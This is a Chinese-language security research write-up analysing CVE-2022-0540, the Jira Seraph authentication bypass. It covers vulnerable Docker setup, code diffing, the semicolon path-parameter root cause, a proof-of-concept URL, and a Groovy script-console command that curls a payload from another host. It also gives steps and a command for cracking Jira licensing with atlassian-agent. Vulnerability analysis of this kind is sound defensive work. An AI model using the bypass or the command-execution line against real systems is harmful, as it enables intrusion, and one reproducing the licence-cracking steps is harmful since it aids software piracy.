CVE-2022-0540 Jira身份验证绕过分析

2022-07-20

字数统计: 1.6k字 | 阅读时长≈ 7分

暂无简介

0x00 下载链接

安装包

jira 8.13.18

jira 8.13.17

镜像来自于dockerhub

0x01 漏洞详情

CVE-2022-0540: Jira身份验证绕过漏洞

CVE: CVE-2022-0540
组件: Jira和Jira Service Management
漏洞类型: 身份验证绕过
影响: 身份验证绕过
简述: Jira 和 Jira Service Management 容易受到其 Web 身份验证框架 Jira Seraph 中的身份验证绕过的攻击。未经身份验证的远程攻击者可以通过发送特制的 HTTP 请求来利用此漏洞，以使用受影响的配置绕过 WebWork 操作中的身份验证和授权要求。

As we said earlier, this is an authentication bypass vulnerability in the Jira Seraph web authentication framework. The security researcher Khoadha from Viettel Cyber Security team says “this flaw could be exploited by sending a specially crafted HTTP request to bypass authentication and authorization requirements in WebWork actions using an affected configuration.”
0x02 影响版本

Jira：

- Jira所有版本 < 8.13.18

- Jira 8.14.x、8.15.x、8.16.x、8.17.x、8.18.x、8.19.x

- Jira 8.20.x < 8.20.6

- Jira 8.21.x

Jira Service Management：

- Jira Service Management所有版本 < 4.13.18

- Jira Service Management 4.14.x、4.15.x、4.16.x、4.17.x、4.18.x、4.19.x

- Jira Service Management 4.20.x < 4.20.6

- Jira Service Management 4.21.x

0x03 环境部署&debug配置

官方docker镜像 8.13.17 8.13.18

jira破解

atlassian-agent

FROM atlassian/jira-software:8.13.17
USER root
# 将代理破解包加入容器
COPY "atlassian-agent.jar" /opt/atlassian/jira/
# 设置启动加载代理包
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

加上调试则需把dockerfile最后改成如下（加上调试端口）：

RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar  -agentlib:jdwp=transport=dt_socket,server=y,s
uspend=n,address=*:8000 ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

创建镜像与容器

docker build -t jira/jira-crack:8.13.17 .
docker volume create --name jiraVolume
docker run -v jiraVolume:/var/atlassian/application-data/jira --name="jira" -d --net=host jira/jira-crack:8.13.17

如果dockerfile中没改，远程调试也可以在docker run加上

-e JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,s
uspend=n,address=*:8000"

生成license

java -jar atlassian-agent.jar -d -m test@test.com -n BAT -p jira -o http://192.168.111.129 -s BA05-WW22-Y57K-EJOS

远程调试本地配置：

下载8.3.17和8.3.18两个版本的jira安装包，然后批量反编译+解压缩
1.idea新建一个Java项目
2.ctrl+alt+shift+s 打开Project Structure添加library
把D:\xxx\atlassian-jira-software-8.13.17-standalone\atlassian-jira\WEB-INF\classes
D:\xxx\atlassian-jira-software-8.13.17-standalone\atlassian-jira\WEB-INF\lib
D:\xxx\atlassian-jira-software-8.13.17-standalone\lib

三个目录添加进library

run->edit configuration编辑远程调试配置：就改了容器所在虚拟机IP及开放的8000调试端口

现在就已经可以下断点开始调试了，当然直接jdb -attach也可以。

0x04 版本比较

根据漏洞通告，漏洞点可能在seraph和webwork相关。
但是比较8.3.17，8.3.18的名字含seraph的jar包并无区别。
通过beyond compare对比反编译后的两个版本代码
(比较内容，不要比较大小和时间戳)

8.13.18多出atlassian-jira\WEB-INF\classes\com\atlassian\jira\plugin\webwork\ActionNameCleaner.java
17和18的区别在WebworkPluginSecurityServiceHelper.java中体现的很明显

在跟进ActionNameCleaner中

发现区别是在修改对action的获取或者说对url的截取：
8.3.17中targeturl是取getRequestURI()返回值中最后一个/后的内容。比如/secure/Dashboard.jspa就会取到/Dashboard.jspa。然后再拿它去actionmapper中匹配。实际跟一下代码发现这个actionmapper都来自于actions.xml。

而在8.3.18中这个actionURL是截取getServletPath()返回值中最后一个/到.jspa中间的内容。如果/在末尾就直接是取servletpath
那么getRequestURI()和getServletPath()有什么区别呢？
stackoverflow

可以看到getServletPath()并没有截取到分号“;”之后的path parameter

0x05 调试

在WebworkPluginSecurityServiceHelper.getRequiredRoles函数下断点调试跟一下，发现完整调用链是这样的：

SecurityFilter.dofilter
->JiraSeraphSecurityService.getRequiredRoles
->loginManagerimpl.getRequiredRoles
->authorisationManagerlmpl.getRequiredRoles
->WebworkPluginSecurityServiceHelper.getRequiredRoles
->ActionNameCleaner.getActionLastUrlSegment (18版)

访问http://192.168.111.129:8080/secure/Dashboard.jspa;
securityFilter中使用getServletPath()获取originalURL

上图断点处，本地反编译的代码是这样的，和idea循环条件有点差别

要到第二次循环，service为WebworkService时才能进入上述的检查逻辑
ps.根据参考文章描述确实有三种service，action来源各不同
There are 3 services were implemented in Jira:

*JiraPathService: If the requested servlet path start with /secure/admin/, it will require the admin role.*
*WebworkService: Get roles-required config of webwork in the actions.xml file*
*JiraSeraphSecurityService: Get roles-required config of webwork action in all plugin's atlassian-plugin.xml file*

再跟进WebworkPluginSecurityServiceHelper中

That mean if we put some path parameter to the URI (eg. "AdminAction.jspa;" ), Seraph won't be able to find any match case in actionMapper but the webwork dispatcher still can find the action

带了分号，在action匹配时就找不到对应的action返回null，在securityFilter中得到的requiredRoles也为空，needauth一直为false，也就成功绕过了securityFilter

但是filter过了之后在生成action时还有一次认证

0x06 poc

安装受影响的插件Insight - Asset Management(低于8.10.0)

根据官方说法应该是默认安装的，但我使用的官方镜像确实没有

http://192.168.111.129:8080/InsightPluginShowGeneralConfiguration.jspa;

直接访问302跳转登录

加上分号

0x07 尝试RCE

admin权限下可以直接通过groovy script引擎执行命令，有点像Jenkins

def command = 'curl http://192.168.111.128:8000/exp'
def proc = command.execute()
proc.waitFor()  
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

回显出了点问题，但确实执行了

下面进行越权尝试
插件正常访问路径http://192.168.111.129:8080/secure/admin/InsightPluginWhiteList.jspa

把/secure/admin/删了，末尾再加分号即可访问。
ps.因为/secure/admin/在JiraPathService中有匹配到，SecurityFilter会添加一个admin role

但是这个运行控制台发送命令的run请求是插件内部的api,要验证cookie，不受这个越权漏洞影响，所以无法直接执行命令。